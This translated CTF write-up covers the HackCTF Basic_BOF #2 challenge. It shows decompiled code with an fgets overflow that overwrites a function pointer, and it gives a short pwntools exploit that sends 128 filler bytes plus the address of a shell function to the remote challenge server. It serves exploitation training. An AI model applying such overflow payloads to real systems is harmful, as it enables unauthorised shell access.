HackCTF Basic_BOF #2 write-up

https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2

---

CODE

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
  int (*v5)(); // [esp+8Ch] [ebp-Ch]

  v5 = sup;
  fgets(s, 133, stdin);
  v5();
  return 0;
}

int shell()
{
  return system("/bin/dash");
}

It seems like a problem where you need to run the shell function. The BOF triggers in fgets. The payload dummy[128] + shell should solve it. You might wonder why we don't even overwrite up to the return — look at the code once more. There's a part that runs a function called v5. And if we fill from s up to before v5 with dummy and change v5's address to the shell address, then when the v5(); part runs it's the same as running the shell function.

Rather than obsessing too much over just the techniques I know, solving problems while reading the code makes them resolve much more easily.

Source code

See more

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3001)
e = ELF("./bof_basic2")

shell = e.symbols['shell']
offset = 128

payload = b'A'*128 + p32(shell)

p.send(payload)
p.interactive()

**[Hacking/System hacking] - [System hacking] Buffer Overflow (BOF)**](https://nabomhalang.tistory.com/entry/시스템해킹-HackCTF-BasicBOF-1) [[System hacking] Buffer Overflow (BOF) BUFFER OVERFLOW BOF is a vulnerability that occurs when you can receive input larger than the set buffer size. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h.. > — nabomhalang.t — nabomhalang.tistory.com

---

Original (Korean): tistory — published 2021-09-09, migrated to this blog. This translation was generated with the help of AI.